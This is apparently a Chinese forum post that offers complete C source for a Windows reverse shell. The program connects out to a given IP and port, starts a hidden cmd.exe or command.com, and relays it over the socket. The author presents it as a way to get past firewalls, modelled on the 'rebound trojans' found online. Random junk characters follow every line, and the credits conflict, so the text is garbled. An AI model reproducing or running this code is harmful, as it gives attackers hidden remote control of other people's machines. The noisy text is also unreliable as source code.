Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 _}vD?/$L  
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/* ============================== H B_si  
Rebound port in Windows NT f|cd_?|  
By wind,2006/7 .|NF8Fj  
===============================*/ -y1%c^36_J  
#include f.!)O@HzH  
#include Rq%g5lK  
?PO~$dUc]  
#pragma comment(lib,"wsock32.lib") fq~<^B  
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void OutputShell(); XnHcU=~q  
SOCKET sClient; .nJErC##  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; loZJV M  
y<.0+YL-e+  
void main(int argc,char **argv) (A}##h  
{ HW;,XzP=  
WSADATA stWsaData; ;X[mfg\  
int nRet; [k ZvBd  
SOCKADDR_IN stSaiClient,stSaiServer; 6'3@/.  
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if(argc != 3) uHkL$}C  
{ U+3,(O  
printf("Useage:\n\rRebound DestIP DestPort\n"); T@;z o8:  
return; 2M3.xUS  
} ++W_4 B!  
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WSAStartup(MAKEWORD(2,2),&stWsaData); }xJ9EE*G/  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); x0
0"d$!  
AkrUb$ }  
stSaiClient.sin_family = AF_INET; o$FqMRep  
stSaiClient.sin_port = htons(0); )q&=x2`  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); s?@{  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) K'+GK S7.  
{ *Em 9R  
printf("Bind Socket Failed!\n"); ?"]fGp6y  
return; Jtnuo]{R  
} $?YRy_SI  
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stSaiServer.sin_family = AF_INET; ?g+0S@{i $  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); b*LEoQSl0V  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); >:%i,K*AM  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) sPYG?P(l  
{ R?a)2jl  
printf("Connect Error!"); ()6)|A<^U  
return; D^W6Cq5\  
} /-TJtR4>  
OutputShell(); h?jy'>T?b2  
} `VCU`Y
  
DBYD>UA  
void OutputShell() @C{IgV  
{ !2s< v
 
char szBuff[1024]; Nc:, [8{l  
SECURITY_ATTRIBUTES stSecurityAttributes; /-Y*V*E  
OSVERSIONINFO stOsversionInfo; X[\b!<C
 
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; jbcJ\2  
STARTUPINFO stStartupInfo; -h%;L5oJ2,  
char *szShell; 55)!cw4  
PROCESS_INFORMATION stProcessInformation; <*E{zr&  
unsigned long lBytesRead; 8 !]$ljg  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); R,-y  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); =PWh,lWS  
stSecurityAttributes.lpSecurityDescriptor = 0; Z;M]^?  
stSecurityAttributes.bInheritHandle = TRUE; :j)H;@[I
 
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jFf2( AR  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ( >zXapb2  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); qMD6LWJ  
*T' /5,rX2  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); u1s^AW8 y  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; kFZw"5hb  
stStartupInfo.wShowWindow = SW_HIDE; PXof-W  
stStartupInfo.hStdInput = hReadPipe; h4N!zj[  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; J;,6ydf8!  
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GetVersionEx(&stOsversionInfo);
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)
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switch(stOsversionInfo.dwPlatformId)  s.&ewf\  
{ C8>zr6)1  
case 1: S'#KPzy.  
szShell = "command.com"; ye=*m  
break; 0{#c  
default: vU0j!XqE  
szShell = "cmd.exe"; OQ;'Xo  
break; Oaf!\z}  
} ]S4TX  
{Tb(4or?=b  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); L!s/0kBg  
,R]hNjs-{  
send(sClient,szMsg,77,0); S G|``}OA  
while(1) t"k6wv;Tq  
{ Fn.wd`'0  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); E,&BP$B  
if(lBytesRead) zim]3%b*A;  
{ A ^@:Ps  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); nQ2V  
send(sClient,szBuff,lBytesRead,0); 9r=@S  
} ikf!7-,  
else W8+Daw1Nr  
{ ,=whwl "tA  
lBytesRead=recv(sClient,szBuff,1024,0); sJo]$/?F  
if(lBytesRead<=0) break; ,Q!sns[T  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); `p1szZD&  
} Se/VOzzg  
} %tEjf 3  
[<`K%1GQ  
return; ieXhOA  
}